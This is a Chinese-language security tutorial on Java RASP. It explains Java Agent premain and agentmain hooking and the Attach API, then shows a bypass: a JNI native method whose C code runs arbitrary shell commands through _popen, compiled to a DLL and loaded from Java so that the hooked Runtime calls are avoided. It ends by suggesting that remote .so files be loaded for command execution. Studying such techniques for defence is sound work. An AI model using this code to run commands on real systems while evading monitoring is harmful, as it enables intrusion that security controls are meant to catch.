JAVA绕过RASP
RASP介绍
RASP是一种安全技术,旨在通过在应用程序运行时实施保护机制来增强应用程序的安全性。它使得应用程序能够实时监控和防御潜在的攻击,而不依赖于外部的安全设备或控制措施。因为从 JDK 1.5 开始,Java 提供了一种动态代理机制,允许代理检测在 JVM 中运行的服务,通过插桩的方式修改方法的字节码,而 RASP 实际上就是通过 hook 系统的关键函数实现防护。
下面介绍两种 hook 函数机制。
java Agent
Java Agent 是一种特定于 Java 编程语言的工具,用于在 Java 虚拟机(JVM)启动时或运行中对 Java 应用程序进行监控、修改和增强。Java Agent 的功能主要依赖于 Java Instrumentation API,该 API 允许开发人员在字节码级别对 Java 类进行操作和修改。
Java Agent 的使用场景
- 性能监控:通过跟踪方法调用、执行时间和资源使用情况,提高应用程序的性能分析能力。
- 安全性增强:在方法调用过程中插入安全检查,确保访问控制和输入验证。
- 日志记录和审计:自动捕捉方法入口、出口和异常信息,减少显式日志记录的需求。
- 测试与调试:为测试工具提供支持,允许自定义行为的动态插入。
- 静态分析:在类被加载时进行静态分析,提供编译时无法发现的错误和警告。、
一个简单demo
package com.bitterz;
import java.instrument.Instrumentation;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain; public class MyAgent { public static void premain(String agentArgs, Instrumentation inst) { inst.addTransformer(new ClassFileTransformer() { @Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) { // 在这里可以对类字节码进行操作 System.out.println("Class loaded: " + className); return classfileBuffer; } }); }
}
java.instrument.Instrumentation
:提供了用于字节码操作的 API 访问,允许开发者注册自定义的类转换器。
ClassFileTransformer
: 这是一个接口,用于定义如何转换类的字节码。开发者可以实现此接口,在 transform
方法中添加自定义的字节码逻辑。
premian
会在 JVM 调用 main 函数前进行调用,Instrumentation inst
是管道,可以通过它注册类转换器并进行字节码操作。调用 inst.addTransformer
是注册一个新的 ClassFileTransformer
实现,重写了 transform 方法,当加载每个类时,JVM 会调用这个方法,允许对类的字节码进行修改。在这里面添加了 System.out.println("Class loaded: " + className);
,这样当任何类被加载时,就会在控制台打印出该类的名称。
使用方法
打包为 jar 包的时候需要定义一个MANIFEST.MF文件,必须包含Premain-Class选项,也需要加入Can-Redefine-Classes和Can-Retransform-Classes选项,其实就是在 pom.xml 中添加下面配置
<build><plugins><plugin><groupId>org.apache.maven.plugins</groupId><artifactId>maven-jar-plugin</artifactId><configuration><archive><manifestEntries><Premain-Class>com.bitterz.MyAgent</Premain-Class><Can-Redefine-Classes>true</Can-Redefine-Classes><Can-Retransform-Classes>true</Can-Retransform-Classes></manifestEntries></archive></configuration></plugin></plugins>
</build>
然后在启动应用程序时使用 -javaagent
参数指定代理 JAR,
java -javaagent:path/agent.jar -jar your-application.jar
加了 agent 后的调用流程图,
attach 机制
该机制用于在 jvm 已经启动,但还需要对 jvm 中的类做一些修改。jdk1.6之后在Instrumentation中添加了一种agentmain的代理方法,可以在main函数执行之后再运行。
一个demo
package com.bitterz;import java.lang.instrument.Instrumentation;public class AgentMain {public static void agentmain(String agentArgs, Instrumentation instrumentation) {System.out.println("agentmain start!");System.out.println(instrumentation.toString());}
使用方法
打包为 jar 文件,注意打包的时候必须再MANIFEST.MF文件中设置 Agent-Class
来指定包含agentmain函数的类,也就是 pom.xml 配置如下
<build><plugins><plugin><groupId>org.apache.maven.plugins</groupId><artifactId>maven-jar-plugin</artifactId><configuration><archive><manifestEntries><Agent-Class>com.bitterz.AgentMain</Agent-Class><Can-Redefine-Classes>true</Can-Redefine-Classes><Can-Retransform-Classes>true</Can-Retransform-Classes></manifestEntries></archive></configuration></plugin></plugins>
</build>
然后利用 VirtualMachine
类去加载进 jvm 中
package com.bitterz.attach;import com.sun.tools.attach.AgentInitializationException;
import com.sun.tools.attach.AgentLoadException;
import com.sun.tools.attach.AttachNotSupportedException;
import com.sun.tools.attach.VirtualMachine;import java.io.IOException;public class AttachTest {public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {VirtualMachine attach = VirtualMachine.attach("12244"); // 命令行找到这个jvm的进程号attach.loadAgent("C:\\Users\\helloworld\\Desktop\\java learn\\java-attach\\target\\java-attach-1.0-SNAPSHOT.jar");attach.detach();}
}
VirtualMachine
字面意义表示一个Java 虚拟机,也就是程序需要监控的目标虚拟机,提供了获取系统信息(比如获取内存dump、线程dump,类信息统计(比如已加载的类以及实例个数等), loadAgent,Attach 和 Detach (Attach 动作的相反行为,从 JVM 上面解除一个代理)等方法
具体实现过程:通过VirtualMachine
类的attach(pid)
方法,便可以attach到一个运行中的java进程上,之后便可以通过loadAgent(agentJarPath)
来将agent的jar包注入到对应的进程,然后对应的进程会调用agentmain
方法。
通过上面这些 hook 函数的机制,我们结合修改字节码的方法(ASM、Javassist、cglib等)可以进一步实现RASP。
RASP 绕过
RASP 能获取到最终 Sink 函数真实传入的参数,只要够底层,前面的各种编码绕过都是无效的,但实际上 RASP 通常有下面两种绕过手法:
- 寻找没有被限制的类或者函数来绕过,也就是绕过黑名单
- 利用更底层的技术进行绕过,例如从 C 代码的层面进行绕过
通过 JNI 绕过
JNI(Java Native Interface)是 Java 提供的一种机制,其作用就是让我们的Java程序去调用C的程序,实际上调用的并不是exe程序,而是编译好的dll动态链接库里面封装的方法。因为Java是基于C语言去实现的,Java底层很多也会去使用JNI。
JNI 实现
该图是实现JNI编程的具体路
其实利用思路很简单就是利用 c 语言生成 dll 文件,然后利用 System.loadLibrar
来加载执行就行了。
本地实现 JNI
先编写写一个命令执行的 java 类
package org.example; public class Command { public native String exec(String cmd);
}
然后利用 javac 生成 h 文件
javac -cp . .\Command.java -h org.example.Command
然后编写对应的 c 语言代码
#include "org_example_Command.h"
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h> int execmd(const char* cmd, char* result)
{ char buffer[1024 * 12]; //定义缓冲区 FILE* pipe = _popen(cmd, "r"); //打开管道,并执行命令 if (!pipe) return 0; //返回0表示运行失败 while (!feof(pipe)) { if (fgets(buffer, 128, pipe)) { //将管道输出到result中 strcat(result, buffer); } } _pclose(pipe); //关闭管道 return 1; //返回1表示运行成功
}
JNIEXPORT jstring JNICALL Java_org_example_Command_exec(JNIEnv* env, jobject class_object, jstring jstr)
{ const char* cstr = (*env)->GetStringUTFChars(env, jstr, NULL); char result[1024 * 12] = ""; //定义存放结果的字符串数组 if (1 == execmd(cstr, result)) { // printf(result); } char return_messge[100] = ""; strcat(return_messge, result); jstring cmdresult = (*env)->NewStringUTF(env, return_messge); //system(); return cmdresult;
}
然后执行下面命令编写为 dll 文件,
gcc -I "D:\environment\java\jdk-11\include" -I "D:\environment\java\jdk-11\include\win32" -shared -o cmd.dll .\Command.c
最后编写一个 java 类加载 dll 文件进行命令执行
这样执行命令的时候就不是执行 Runtime 等方法了,可以绕过 RASP 了。
参考:https://cloud.tencent.com/developer/article/1958488
一般在实际应用中的化就是远程调用 so 文件利用 c 代码进行命令执行。